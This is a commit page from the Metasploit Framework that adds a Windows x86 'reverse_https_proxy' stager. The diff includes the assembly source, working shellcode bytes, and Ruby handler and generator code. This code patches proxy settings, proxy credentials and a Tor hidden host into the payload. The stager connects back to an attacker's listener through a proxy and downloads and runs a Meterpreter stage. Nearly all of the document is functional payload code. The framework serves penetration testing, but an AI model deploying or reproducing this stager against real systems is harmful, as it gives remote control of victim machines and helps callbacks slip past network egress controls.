Skip to content

Commit 7b7603a

Browse files
wchen-r7wchen-r7
committed
Land rapid7#2104 - reverse_https_proxy
2 parents 27a540e + 8dae114 commit 7b7603a

File tree

4 files changed

+310
-10
lines changed

4 files changed

+310
-10
lines changed

‎external/source/shellcode/windows/x86/src/block/block_reverse_https_proxy.asm

Lines changed: 39 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -16,24 +16,24 @@ load_wininet:
1616
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
1717
call ebp ; LoadLibraryA( "wininet" )
1818

19-
call internetopen
19+
call internetopen
2020

2121
proxy_server_name:
22-
db "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX:55555",0x00
22+
db "PROXYHOST:PORT",0x00
2323

2424
internetopen:
25-
mov ecx, esp
25+
pop ecx ; pointer to proxy_server_name
2626
xor edi,edi
2727
push edi ; DWORD dwFlags
28-
push edi ; LPCTSTR lpszProxyBypass
28+
push esp ; LPCTSTR lpszProxyBypass (empty)
2929
push ecx ; LPCTSTR lpszProxyName
3030
push byte 3 ; DWORD dwAccessType (INTERNET_OPEN_TYPE_PROXY = 3)
31-
push byte 0 ; NULL pointer
32-
push esp ; LPCTSTR lpszAgent ("\x00")
31+
push byte 0 ; NULL pointer
32+
; push esp ; LPCTSTR lpszAgent ("\x00") // doesn't seem to work with this
3333
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
3434
call ebp
3535

36-
jmp short dbl_get_server_host
36+
jmp dbl_get_server_host
3737

3838
internetconnect:
3939
pop ebx ; Save the hostname pointer
@@ -49,6 +49,37 @@ internetconnect:
4949
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
5050
call ebp
5151

52+
mov esi,eax ; safe hConnection
53+
54+
db "PROXY_AUTH_START" ; start marker for optional authentification, removed during payload creation
55+
56+
call set_proxy_username
57+
proxy_username:
58+
db "PROXY_USERNAME",0x00
59+
set_proxy_username:
60+
pop ecx ; Save the proxy username
61+
push dword 15 ; DWORD dwBufferLength
62+
push ecx ; LPVOID lpBuffer (username)
63+
push byte 43 ; DWORD dwOption (INTERNET_OPTION_PROXY_USERNAME)
64+
push esi ; hConnection
65+
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
66+
call ebp
67+
68+
call set_proxy_password
69+
proxy_password:
70+
db "PROXY_PASSWORD",0x00
71+
set_proxy_password:
72+
pop ecx ; Save the proxy password
73+
push dword 15 ; DWORD dwBufferLength
74+
push ecx ; LPVOID lpBuffer (password)
75+
push byte 44 ; DWORD dwOption (INTERNET_OPTION_PROXY_PASSWORD)
76+
push esi ; hConnection
77+
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
78+
call ebp
79+
80+
db "PROXY_AUTH_STOP" ; stop marker for optional authentification, removed during payload creation
81+
82+
5283
jmp get_server_uri
5384

5485
httpopenrequest:
@@ -68,7 +99,7 @@ httpopenrequest:
6899
push edx ; version
69100
push ecx ; url
70101
push edx ; method
71-
push eax ; hConnection
102+
push esi ; hConnection
72103
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
73104
call ebp
74105
mov esi, eax ; hHttpRequest

‎lib/msf/core/handler/reverse_http.rb

Lines changed: 46 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -83,13 +83,21 @@ def ssl?
8383
# addresses.
8484
#
8585
def full_uri
86-
lhost = datastore['LHOST']
86+
unless datastore['HIDDENHOST'].nil? or datastore['HIDDENHOST'].empty?
87+
lhost = datastore['HIDDENHOST']
88+
else
89+
lhost = datastore['LHOST']
90+
end
8791
if lhost.empty? or lhost == "0.0.0.0" or lhost == "::"
8892
lhost = Rex::Socket.source_address
8993
end
9094
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
9195
scheme = (ssl?) ? "https" : "http"
92-
uri = "#{scheme}://#{lhost}:#{datastore["LPORT"]}/"
96+
unless datastore['HIDDENPORT'].nil? or datastore['HIDDENPORT'] == 0
97+
uri = "#{scheme}://#{lhost}:#{datastore["HIDDENPORT"]}/"
98+
else
99+
uri = "#{scheme}://#{lhost}:#{datastore["LPORT"]}/"
100+
end
93101

94102
uri
95103
end
@@ -297,6 +305,42 @@ def on_request(cli, req, obj)
297305
print_status("Patched user-agent at offset #{i}...")
298306
end
299307

308+
# Activate a custom proxy
309+
i = blob.index("METERPRETER_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
310+
if i
311+
if datastore['PROXYHOST']
312+
if datastore['PROXYHOST'].to_s != ""
313+
proxyhost = datastore['PROXYHOST'].to_s
314+
proxyport = datastore['PROXYPORT'].to_s || "8080"
315+
proxyinfo = proxyhost + ":" + proxyport
316+
if proxyport == "80"
317+
proxyinfo = proxyhost
318+
end
319+
if datastore['PROXY_TYPE'].to_s == 'HTTP'
320+
proxyinfo = 'http://' + proxyinfo
321+
else #socks
322+
proxyinfo = 'socks=' + proxyinfo
323+
end
324+
proxyinfo << "\x00"
325+
blob[i, proxyinfo.length] = proxyinfo
326+
print_status("Activated custom proxy #{proxyinfo}, patch at offset #{i}...")
327+
#Optional authentification
328+
unless (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or
329+
(datastore['PROXY_PASSWORD'].nil? or datastore['PROXY_PASSWORD'].empty?) or
330+
datastore['PROXY_TYPE'] == 'SOCKS'
331+
332+
proxy_username_loc = blob.index("METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
333+
proxy_username = datastore['PROXY_USERNAME'] << "\x00"
334+
blob[proxy_username_loc, proxy_username.length] = proxy_username
335+
336+
proxy_password_loc = blob.index("METERPRETER_PASSWORD_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
337+
proxy_password = datastore['PROXY_PASSWORD'] << "\x00"
338+
blob[proxy_password_loc, proxy_password.length] = proxy_password
339+
end
340+
end
341+
end
342+
end
343+
300344
# Replace the transport string first (TRANSPORT_SOCKET_SSL)
301345
i = blob.index("METERPRETER_TRANSPORT_SSL")
302346
if i

‎lib/msf/core/handler/reverse_https_proxy.rb

Lines changed: 58 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,58 @@
1+
# -*- coding: binary -*-
2+
require 'rex/io/stream_abstraction'
3+
require 'rex/sync/ref'
4+
require 'msf/core/handler/reverse_http'
5+
6+
module Msf
7+
module Handler
8+
9+
###
10+
#
11+
# This handler implements the HTTP SSL tunneling interface.
12+
#
13+
###
14+
module ReverseHttpsProxy
15+
16+
include Msf::Handler::ReverseHttp
17+
18+
#
19+
# Returns the string representation of the handler type
20+
#
21+
def self.handler_type
22+
return "reverse_https_proxy"
23+
end
24+
25+
#
26+
# Returns the connection-described general handler type, in this case
27+
# 'tunnel'.
28+
#
29+
def self.general_handler_type
30+
"tunnel"
31+
end
32+
33+
#
34+
# Initializes the HTTP SSL tunneling handler.
35+
#
36+
def initialize(info = {})
37+
super
38+
39+
register_options(
40+
[
41+
OptString.new('LHOST', [ true, "The local listener hostname" ,"127.0.0.1"]),
42+
OptPort.new('LPORT', [ true, "The local listener port", 8443 ]),
43+
OptString.new('PROXYHOST', [true, "The address of the http proxy to use" ,"127.0.0.1"]),
44+
OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ]),
45+
OptString.new('HIDDENHOST', [false, "The tor hidden host to connect to, when set it will be used instead of LHOST for stager generation"]),
46+
OptInt.new('HIDDENPORT', [ false, "The hidden port to connect to, when set it will be used instead of LPORT for stager generation"]),
47+
OptEnum.new('PROXY_TYPE', [true, 'Http or Socks4 proxy type', 'HTTP', ['HTTP', 'SOCKS']]),
48+
OptString.new('PROXY_USERNAME', [ false, "An optional username for HTTP proxy authentification"]),
49+
OptString.new('PROXY_PASSWORD', [ false, "An optional password for HTTP proxy authentification"])
50+
], Msf::Handler::ReverseHttpsProxy)
51+
52+
end
53+
54+
end
55+
56+
end
57+
end
58+

‎modules/payloads/stagers/windows/reverse_https_proxy.rb

Lines changed: 167 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,167 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
9+
require 'msf/core'
10+
require 'msf/core/handler/reverse_https_proxy'
11+
12+
13+
module Metasploit3
14+
15+
include Msf::Payload::Stager
16+
include Msf::Payload::Windows
17+
18+
def initialize(info = {})
19+
super(merge_info(info,
20+
'Name' => 'Reverse HTTPS Stager with Support for Custom Proxy',
21+
'Description' => 'Tunnel communication over HTTP using SSL, supports custom proxy',
22+
'Author' => ['hdm','corelanc0d3r <peter.ve[at]corelan.be>', 'amaloteaux'],
23+
'License' => MSF_LICENSE,
24+
'Platform' => 'win',
25+
'Arch' => ARCH_X86,
26+
'Handler' => Msf::Handler::ReverseHttpsProxy,
27+
'Convention' => 'sockedi https',
28+
'Stager' =>
29+
{
30+
'Payload' =>
31+
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
32+
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
33+
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
34+
"\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
35+
"\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
36+
"\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
37+
"\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
38+
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
39+
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
40+
"\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07" +
41+
"\xFF\xD5\xE8\x0F\x00\x00\x00\x50\x52\x4F\x58\x59\x48\x4F\x53\x54" +
42+
"\x3A\x50\x4F\x52\x54\x00\x59\x31\xFF\x57\x54\x51\x6A\x03\x6A\x00" +
43+
"\x68\x3A\x56\x79\xA7\xFF\xD5\xE9\xC4\x00\x00\x00\x5B\x31\xC9\x51" +
44+
"\x51\x6A\x03\x51\x51\x68\x5C\x11\x00\x00\x53\x50\x68\x57\x89\x9F" +
45+
"\xC6\xFF\xD5\x89\xC6\x50\x52\x4F\x58\x59\x5F\x41\x55\x54\x48\x5F" +
46+
"\x53\x54\x41\x52\x54\xE8\x0F\x00\x00\x00\x50\x52\x4F\x58\x59\x5F" +
47+
"\x55\x53\x45\x52\x4E\x41\x4D\x45\x00\x59\x6A\x0F\x51\x6A\x2B\x56" +
48+
"\x68\x75\x46\x9E\x86\xFF\xD5\xE8\x0F\x00\x00\x00\x50\x52\x4F\x58" +
49+
"\x59\x5F\x50\x41\x53\x53\x57\x4F\x52\x44\x00\x59\x6A\x0F\x51\x6A" +
50+
"\x2C\x56\x68\x75\x46\x9E\x86\xFF\xD5\x50\x52\x4F\x58\x59\x5F\x41" +
51+
"\x55\x54\x48\x5F\x53\x54\x4F\x50\xEB\x48\x59\x31\xD2\x52\x68\x00" +
52+
"\x32\xA0\x84\x52\x52\x52\x51\x52\x56\x68\xEB\x55\x2E\x3B\xFF\xD5" +
53+
"\x89\xC6\x6A\x10\x5B\x68\x80\x33\x00\x00\x89\xE0\x6A\x04\x50\x6A" +
54+
"\x1F\x56\x68\x75\x46\x9E\x86\xFF\xD5\x31\xFF\x57\x57\x57\x57\x56" +
55+
"\x68\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x1A\x4B\x74\x10\xEB\xD5" +
56+
"\xEB\x49\xE8\xB3\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35\x00\x68\xF0" +
57+
"\xB5\xA2\x56\xFF\xD5\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40" +
58+
"\x00\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53\x89\xE7\x57\x68" +
59+
"\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74" +
60+
"\xCD\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\xE8\xEC\xFE\xFF\xFF"
61+
}
62+
))
63+
64+
65+
end
66+
67+
#
68+
# Do not transmit the stage over the connection. We handle this via HTTPS
69+
#
70+
def stage_over_connection?
71+
false
72+
end
73+
74+
#
75+
# Generate the first stage
76+
#
77+
def generate
78+
p = super
79+
80+
i = p.index("/12345\x00")
81+
u = "/" + generate_uri_checksum(Msf::Handler::ReverseHttpsProxy::URI_CHECKSUM_INITW) + "\x00"
82+
p[i, u.length] = u
83+
84+
# patch proxy info
85+
proxyhost = datastore['PROXYHOST'].to_s
86+
proxyport = datastore['PROXYPORT'].to_s || "8080"
87+
proxyinfo = proxyhost + ":" + proxyport
88+
if proxyport == "80"
89+
proxyinfo = proxyhost
90+
end
91+
if datastore['PROXY_TYPE'].to_s == 'HTTP'
92+
proxyinfo = 'http://' + proxyinfo
93+
else #socks
94+
proxyinfo = 'socks=' + proxyinfo
95+
end
96+
proxyloc = p.index("PROXYHOST:PORT")
97+
p = p.gsub("PROXYHOST:PORT",proxyinfo)
98+
99+
# patch the call
100+
calloffset = proxyinfo.length
101+
calloffset += 1
102+
p[proxyloc-4] = [calloffset].pack('V')[0]
103+
104+
#Optional authentification
105+
if (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or
106+
(datastore['PROXY_PASSWORD'].nil? or datastore['PROXY_PASSWORD'].empty?) or
107+
datastore['PROXY_TYPE'] == 'SOCKS'
108+
109+
jmp_offset = p.index("PROXY_AUTH_STOP") + 15 - p.index("PROXY_AUTH_START")
110+
#remove auth code
111+
p = p.gsub(/PROXY_AUTH_START(.)*PROXY_AUTH_STOP/i, "")
112+
else
113+
username_size_diff = 14 - datastore['PROXY_USERNAME'].length
114+
password_size_diff = 14 - datastore['PROXY_PASSWORD'].length
115+
jmp_offset = 16 + #PROXY_AUTH_START length
116+
15 + #PROXY_AUTH_STOP length
117+
username_size_diff + # difference between datastore PROXY_USERNAME length and db "PROXY_USERNAME length"
118+
password_size_diff # same with PROXY_PASSWORD
119+
#patch call offset
120+
username_loc = p.index("PROXY_USERNAME")
121+
p[username_loc - 4, 4] = [15 - username_size_diff].pack("V")
122+
password_loc = p.index("PROXY_PASSWORD")
123+
p[password_loc - 4, 4] = [15 - password_size_diff].pack("V")
124+
#remove markers & change login/pwd
125+
p = p.gsub("PROXY_AUTH_START","")
126+
p = p.gsub("PROXY_AUTH_STOP","")
127+
p = p.gsub("PROXY_USERNAME", datastore['PROXY_USERNAME'])
128+
p = p.gsub("PROXY_PASSWORD", datastore['PROXY_PASSWORD'])
129+
end
130+
#patch jmp dbl_get_server_host
131+
jmphost_loc = p.index("\x68\x3a\x56\x79\xa7\xff\xd5") + 8 # push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) ; call ebp
132+
p[jmphost_loc, 4] = [p[jmphost_loc, 4].unpack("V")[0] - jmp_offset].pack("V")
133+
#patch call Internetopen
134+
p[p.length - 4, 4] = [p[p.length - 4, 4].unpack("l")[0] + jmp_offset].pack("V")
135+
136+
# patch the LPORT
137+
unless datastore['HIDDENPORT'].nil? or datastore['HIDDENPORT'] == 0
138+
lport = datastore['HIDDENPORT']
139+
else
140+
lport = datastore['LPORT']
141+
end
142+
143+
lportloc = p.index("\x68\x5c\x11\x00\x00") # PUSH DWORD 4444
144+
p[lportloc+1] = [lport.to_i].pack('V')[0]
145+
p[lportloc+2] = [lport.to_i].pack('V')[1]
146+
p[lportloc+3] = [lport.to_i].pack('V')[2]
147+
p[lportloc+4] = [lport.to_i].pack('V')[3]
148+
149+
# append LHOST and return payload
150+
151+
unless datastore['HIDDENHOST'].nil? or datastore['HIDDENHOST'].empty?
152+
lhost = datastore['HIDDENHOST']
153+
else
154+
lhost = datastore['LHOST']
155+
end
156+
p + lhost.to_s + "\x00"
157+
158+
end
159+
160+
#
161+
# Always wait at least 20 seconds for this payload (due to staging delays)
162+
#
163+
def wfs_delay
164+
20
165+
end
166+
end
167+

0 commit comments

Comments
 (0)